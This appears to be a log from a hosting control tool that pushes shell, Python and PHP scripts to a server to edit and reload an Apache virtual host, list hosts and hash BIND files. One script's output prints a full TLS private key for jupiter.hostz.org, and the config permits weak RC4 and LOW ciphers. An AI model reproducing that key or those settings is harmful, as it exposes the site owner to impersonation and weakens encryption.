if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-14 14:19:32: 

chmod 755 /tmp/pkp215926; /tmp/pkp215926; rm /tmp/pkp215926

2026-02-14 14:19:32: 


dir=/etc/ssl/certs


2026-02-14 14:19:32: 

PUT: /tmp/pkp905975

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_jupiter_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-14 14:19:32: 

chmod 755 /tmp/pkp905975; /tmp/pkp905975; rm /tmp/pkp905975

2026-02-14 14:19:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf 41

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-14 14:19:32: 

PUT: /tmp/pkp334104

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_jupiter_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_jupiter_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_jupiter_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_jupiter_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf= 1'
fi


2026-02-14 14:19:32: 

chmod 755 /tmp/pkp334104; /tmp/pkp334104; rm /tmp/pkp334104

2026-02-14 14:19:32: 




2026-02-14 14:19:32: 

PUT: /tmp/pkp852836

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-14 14:19:33: 

chmod 755 /tmp/pkp852836; /tmp/pkp852836; rm /tmp/pkp852836

2026-02-14 14:19:33: 


.


2026-02-14 14:19:33: Establishing a connection
2026-02-14 14:19:33: 

PUT: /tmp/pkp704268

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-14 14:19:33: 

chmod 755 /tmp/pkp704268; /tmp/pkp704268; rm /tmp/pkp704268

2026-02-14 14:19:33: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-14 14:19:33: 

PUT: /tmp/pkp847853

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_jupiter_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-14 14:19:33: 

chmod 755 /tmp/pkp847853; /tmp/pkp847853; rm /tmp/pkp847853

2026-02-14 14:19:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf	1307

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-14 14:19:33: 

PUT: /tmp/pkp803039

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-14 14:19:33: 

chmod 755 /tmp/pkp803039; /tmp/pkp803039; rm /tmp/pkp803039

2026-02-14 14:19:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5352
f5:b9:25:3e:9c:19:85:21:62:bb:92:33:39:6b:85:5d

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBv211syQFU1C1pgc8DxRbeloMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE0MTMyMTAwWhcNMjYwNTE1MTMyMDU5WjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKTN6NuvlfaoT8EP4KrsJF6uw00tN0qPae1LQxUXLlMEa8BG6W7Xbx9IyxIA
3qN1YzuPlD34falFde4QpnbbpTuUQ5rvkXGSnNiwrbZI0k8yToXFLfKJs3it3STc
pi8V+sidMXBfcOekYEIENUmgZmY7h7U/U+6JVeqjEz/DzQvV1othD66vraP3DKHe
+p6xVPpx+Dl1jzN+RKvvAHD2XbI/FEpSl5cFEh9+295K/gzK97T4pbUfg6ktVygL
fiNMrPIS9tbPuFHAy03W5yR2svV2dBH8fimzvJr2eegLl/grwlz3Qk17qD0+bv2r
ayLeY7/vs8PEnPKVKhoK4yOM96ECAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTu
WV9ilPkqqMpCqpS6ilXYK0i+wjAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEWp1cGl0ZXIuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvMTA1LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB1AMs49xWJfISh
RF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABnFyFYWUAAAQDAEYwRAIgX7zTojmt
1HWdWS/GWlnsLGVr12BtewJZYOJ8RjGklxwCIFPMLtcKEcvOBlFbFHpIIsTF3ske
wwnvI04JMCQXZKXIAH8A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugA
AAGcXIVjRAAIAAAFADKQG2EEAwBIMEYCIQCPUWjHlRol5gOIrHJ31S1iG0oCLf/K
Z9awyvGBPU/ckQIhANsyHFvkTV+TsUCyhFo35qyc3lo4r8geHm96iG++KJ2IMA0G
CSqGSIb3DQEBCwUAA4IBAQA+tV/ci3sOAK+iSW8BkQ8OoGlXrOJmpbnPz74I0Nn3
KDNiHJW9p0clBZlrxfO8xzCPyEIXJtCJhvpw0sRpG/fjsRcM7pyG1pLntZvsgM5B
ixfIirSyBLkdUcD78waT+XcmAevwhYIRHuW0MVRdVFhhOMtm0fcr2WiRpCgtrNGX
Tm4zMXGDqDFH2BRM/woFgGZ85XWBcTKptO92B8yrMdKrAv4lcUaLBADOfHe26OSA
OLo3BZAx7+rgLtQr7Fe86NmEueOzRRyETCbaQAeD4NtIIZrqF/6T/knuuFDHtZ1Z
as80FSjzkBvfEjMEHFQ5xZubn7kz4ta2bsqPxxFrfRSX
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCkzejbr5X2qE/B
D+Cq7CRersNNLTdKj2ntS0MVFy5TBGvARulu128fSMsSAN6jdWM7j5Q9+H2pRXXu
EKZ226U7lEOa75FxkpzYsK22SNJPMk6FxS3yibN4rd0k3KYvFfrInTFwX3DnpGBC
BDVJoGZmO4e1P1PuiVXqoxM/w80L1daLYQ+ur62j9wyh3vqesVT6cfg5dY8zfkSr
7wBw9l2yPxRKUpeXBRIfftveSv4Myve0+KW1H4OpLVcoC34jTKzyEvbWz7hRwMtN
1uckdrL1dnQR/H4ps7ya9nnoC5f4K8Jc90JNe6g9Pm79q2si3mO/77PDxJzylSoa
CuMjjPehAgMBAAECggEAChzUN8RFRweWjr/EGwre07REucvvLU8h6micjPsRWbDf
EYMsbGOx7vURGGmHH9e6e0d0+s1AXTpc2VsKUudpEwAG2rdN+P6Miy+itilvZcKO
Ds9t0YjVc1+UTwBu3ltqekRKigUiPQWRLkXatPoPpIDtQ6/3TQ8eb3WanxZbQvk+
rnxawe0/eGx1WdtFJYdjh2IqbN4++Utm+lE0sWM9hs70Jg/j3fotGskzVtcTRp5w
YQOikwgih4EAm27+8NNFVbdU3GlX2LJVrlHlDR1L3CKDShGlzVIuZ0WV8YF8MTW1
z8gIaWK4cx8De3lmV+sNhSXgN8Bisve21xn+LGTa8QKBgQDd/XqnWw7Srqv5x0Ek
KefEGPtoRys9GhJyqzmZFP7Th4qS1qYob2CA9T/DKJqsiqkiDnk/zHPV/nKCEmxB
dLvY23SQlzfMe2H5vvpak6IWG3vw32YVE472yvxn7vALxpLQYGTp8x9Ch54AnWcN
uLxmucGABw1RQ66mvmqjwl6/kQKBgQC+DZXdFj+6/I4NmBDC+DFes0IgpxoxWCEI
HmLEF58bbd7SVlw1bLvZWkH0BQ6NzgQGxivGzYro++/C9zXdpYxr/bex5TuPSnPh
rH1pRTOb9e3NLQeEPjKzH6J2QwEPl9Hg9l7vsOyuvHnwVx2as6dEGzjs21144eJ+
tOXwwpzPEQKBgE8V4wCEXD+KoxIVfouXsk4WaFq6IBlglHntrlNvO2m4vBGcDw4Q
v9yxgsnQSWp269KKPYARIqN2Ru04CwE2yUV0yY5JkUN0IW+MLjzeo7wkhn9F12Ri
12fs4QdWBIbtc5hw/wKp7tUQ46Vsbi5hRh2CyAEIgiIVbr9Qz0UQFhlBAoGBALaC
pWBjdWBEGMbFOZOCdSbUTrS8xFKOp2n8hCx74reck1a6yGIlwV/BZYTJNmjHZuZ6
eJ+506RaDK3WaUwpJuiuBjI4STIZ9Z7K3sSxSBaF3ZAjpgxBDr8lqgaX4fTvfwXi
ktjrtt828IL1peBilka5Pbl4EBN+GNxFLGxA+AWBAoGBAKpsJWHGmMb9sFiiJo+C
NJDRR7g1PWY+YEyjj2zUqYADz7Sv/LgbXmcLUTqoCtH2NjwJO57iYcFigJNnAFPh
Rmm+EZoUrWgpj8qpv1c+P3EiP4ifmprZMg+W48BPITW0Fvc0AJxvz9jNaliVzSAv
rp9u9cxYHSNW4hVba0JGSAUN
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-14 14:30:56: Establishing a connection
2026-02-14 14:31:04: Establishing a connection
2026-02-14 14:31:04: 

PUT: /tmp/pkp754048

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-14 14:31:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp754048; rm /tmp/pkp754048'

2026-02-14 14:31:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
